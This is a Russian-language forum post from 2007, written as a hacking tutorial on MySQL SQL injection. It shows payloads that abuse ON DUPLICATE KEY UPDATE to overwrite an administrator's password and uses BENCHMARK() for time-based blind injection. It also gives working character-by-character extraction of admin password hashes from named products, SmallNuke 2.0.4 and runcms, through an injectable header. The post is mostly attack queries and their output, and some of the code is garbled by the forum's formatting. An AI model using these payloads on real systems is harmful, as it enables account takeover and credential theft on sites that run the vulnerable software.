Показать сообщение отдельно

  #5  
Старый 20.12.2007, 01:01
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию

----[ ON DUPLICATE ... ]

Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией
ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у.
Допустим , мы имеем иньекцию в регистрации пользователя в поле username

PHP код:
mysql SHOW CREATE TABLE `users`
    ->
CREATE TABLE `users` (
    `
namevarchar(60NOT NULL default '',
    `
passwordvarchar(32NOT NULL default '',
    `
emailvarchar(60NOT NULL default '',
    `
joindateint(10unsigned NOT NULL default '0',
    
PRIMARY KEY (`name`)
    ) 
ENGINE=MyISAM DEFAULT CHARSET=utf8
PHP код:
mysql INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007')
    -> 
Добавлены ряды(Запрос занял 0.0004 сек
Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater

PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','antichat' 'hack@ed.ru' 'spielberg')-- 
    
','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
    -> #1062 - Duplicate entry '
underwhater' for key 1 
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007'
    
ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
    -> Добавлены ряды: 2 (Запрос занял 0.0005 сек) 
В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим

PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007'
    
ON DUPLICATE KEY UPDATE table2.admin_pass 'underWHAT?!' 
----[ BENCHMARK ... ]

Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот
метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить
mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время ,
которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется
выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора.

Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше
чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует
настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным.

PHP код:
mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=49,1,benchmark(999999,md5('test')))-- 
    -> 
Запрос занял 0.0004 сек 
PHP код:
mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=48,1,benchmark(999999,md5('test')))-- 
    -> 
Запрос занял 3.6821 сек 
----[ SHKODING ... ]

С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke
( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php
можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля.

PHP код:
$username trim (strip_tags ($_POST['username']));
    
$user_email trim (strip_tags ($_POST['user_email']));

    if ((
$username != "") AND ($user_email == "")) {
    
$where_dat "username = '$username'";
    } elseif ((
$username == "") AND ($user_email != "")) {
    
$where_dat "user_email = '$user_email'";
    } elseif ((
$username != "") AND ($user_email != "")) {
    
$where_dat "username = '$username' AND user_email = '$user_email'";
    } elseif ((
$username == "") AND ($user_email == "")) {
    
header ("Location: index.php?go=Members&in=lost_pass");
    exit;
    }

    
$sql "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat"
Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/*
для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает
такой вид.

PHP код:
mysql SELECT FROM `usersWHERE user_email '' and ascii(1)=48/* 
Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл
пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа.

PHP код:
mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/* 
Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок
X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается.

PHP код:
runcms/class/core.php   130:    if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
PHP код:
runcms/class/core.php   135:    elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
m
PHP код:
odules\newbb_plus\class\class.whosonline.php (32):    
    
$sql "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR     user_ip='"._REMOTE_ADDR."'"; 
После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии ,
иначе наш подзапрос не выполнится.

PHP код:
mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*"); 
Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения ,
обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается.

http://underwater.itdefence.ru/blog/mysql_char.txt

Последний раз редактировалось Евгений Минаев; 20.12.2007 в 01:12..